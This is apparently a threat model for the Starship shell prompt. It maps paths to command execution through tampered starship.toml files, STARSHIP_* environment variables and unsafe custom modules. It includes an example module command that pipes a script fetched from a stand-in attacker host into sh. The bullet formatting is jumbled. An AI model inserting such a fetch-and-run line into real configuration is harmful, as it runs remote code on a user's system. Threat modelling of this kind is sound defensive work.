Objective: Compromise User System/Application Environment via Starship Exploitation
Attack Goal: Compromise User System/Application Environment via Starship Exploitation [CRITICAL]
└───[AND] Gain Unauthorized Access or Control [CRITICAL]
└───[OR] **Exploit Starship Configuration Vulnerabilities** [HIGH-RISK PATH] [CRITICAL]
└───[AND] **Malicious Configuration Injection** [HIGH-RISK PATH] [CRITICAL]
├───[OR] **Direct Configuration File Modification** [HIGH-RISK PATH] [CRITICAL]
│ ├───[AND] **Gain Write Access to Starship Configuration File (~/.config/starship.toml, etc.)** [HIGH-RISK PATH] [CRITICAL]
│ │ └───[OR] Exploit Application Vulnerability to Write Files [CRITICAL]
└───[THEN] **Modify Starship Configuration to Execute Malicious Commands** [HIGH-RISK PATH] [CRITICAL]
└───[AND] **Inject Malicious `command` or `format` in Modules** [HIGH-RISK PATH] [CRITICAL]
├───[AND] **Environment Variable Injection** [HIGH-RISK PATH] [CRITICAL]
│ └───[AND] **Control Environment Variables Read by Starship** [HIGH-RISK PATH] [CRITICAL]
│ └───[OR] Exploit Application Vulnerability to Set Environment Variables [CRITICAL]
└───[THEN] **Inject Malicious Configuration via Environment Variables (STARSHIP_*)** [HIGH-RISK PATH] [CRITICAL]
└───[AND] **Use Environment Variables to Override or Inject Malicious `command` or `format`** [HIGH-RISK PATH] [CRITICAL]
└───[OR] **Vulnerabilities in Custom Modules (if used)** [HIGH-RISK PATH]
└───[AND] **Unsafe Code in Custom Modules (if application provides/suggests custom modules)** [HIGH-RISK PATH]
└───[AND] **Lack of Input Validation in Custom Module Commands** [HIGH-RISK PATH]
Attack Tree Path: Exploit Starship Configuration Vulnerabilities
- Attack Vector: Malicious Configuration Injection
- Description: Attackers aim to inject malicious configurations into Starship to execute arbitrary commands. This is achieved by manipulating Starship's configuration mechanisms.
- Sub-Vectors:
- Direct Configuration File Modification:
- Attack Steps:
- Gain Write Access to Starship Configuration File: Attackers first need to obtain write permissions to the user's Starship configuration file (e.g.,
~/.config/starship.toml
). This can be achieved by:- Exploiting vulnerabilities in the application that allow writing files to arbitrary locations (e.g., path traversal, insecure file upload).
- Compromising user accounts through social engineering or credential theft, gaining access to the user's file system.
- Modify Starship Configuration to Execute Malicious Commands: Once write access is gained, attackers modify the configuration file.
- Inject Malicious
command
orformat
in Modules: They inject malicious code within Starship modules, particularly incustom
modules or by manipulating theformat
strings of existing modules. This can involve setting thecommand
property of a custom module to execute a malicious script or embedding shell commands within aformat
string that gets evaluated.
- Inject Malicious
- Gain Write Access to Starship Configuration File: Attackers first need to obtain write permissions to the user's Starship configuration file (e.g.,
- Example: Injecting
[module.custom.command] = "curl attacker.com/malicious.sh | sh"
intostarship.toml
.
- Attack Steps:
- Environment Variable Injection:
- Attack Steps:
- Control Environment Variables Read by Starship: Attackers need to control environment variables that Starship reads, specifically those starting with
STARSHIP_
. This can be achieved by:- Exploiting application vulnerabilities that allow setting environment variables (e.g., command injection in application code that sets environment variables, or vulnerabilities in how the application handles environment variables).
- Compromising the application's environment setup process if it's possible to inject environment variables during application startup.
- Inject Malicious Configuration via Environment Variables (STARSHIP_*): Once environment variable control is achieved, attackers inject malicious configurations through these variables.
- Use Environment Variables to Override or Inject Malicious
command
orformat
: They use environment variables likeSTARSHIP_CUSTOM_MODULES
to override existing configurations or inject new modules with malicious commands.
- Use Environment Variables to Override or Inject Malicious
- Control Environment Variables Read by Starship: Attackers need to control environment variables that Starship reads, specifically those starting with
- Example: Setting
export STARSHIP_CUSTOM_MODULES='[{ "command" = "malicious_command", "format" = "$custom" }]'
.
- Attack Steps:
- Direct Configuration File Modification:
Attack Tree Path: Vulnerabilities in Custom Modules (if used)
- Attack Vector: Exploiting vulnerabilities within custom Starship modules, especially if the application ecosystem promotes or distributes them.
- Sub-Vectors:
- Unsafe Code in Custom Modules:
- Description: If the application distributes or recommends custom Starship modules that contain inherently unsafe code, users who adopt these modules become vulnerable. This is especially risky if the application implicitly trusts or encourages the use of these modules without proper security vetting.
- Attack Steps:
- Application distributes or recommends vulnerable custom modules: The application, in its documentation, examples, or distribution, provides or suggests using custom Starship modules that are poorly written or intentionally malicious.
- Users unknowingly use vulnerable modules, leading to compromise: Users, trusting the application's guidance, adopt these vulnerable custom modules. The modules then execute malicious code within the user's shell environment.
- Lack of Input Validation in Custom Module Commands:
- Description: Custom modules that execute external commands based on user input or environment variables without proper input validation are vulnerable to command injection.
- Attack Steps:
- Custom modules execute external commands based on user input or environment: A custom module is designed to run shell commands, and these commands incorporate user-provided input or data from the environment without sufficient sanitization.
- Command Injection via Custom Module Logic: Attackers can then craft malicious input or manipulate the environment to inject arbitrary commands into the shell commands executed by the custom module.
- Unsafe Code in Custom Modules:
- Sub-Vectors: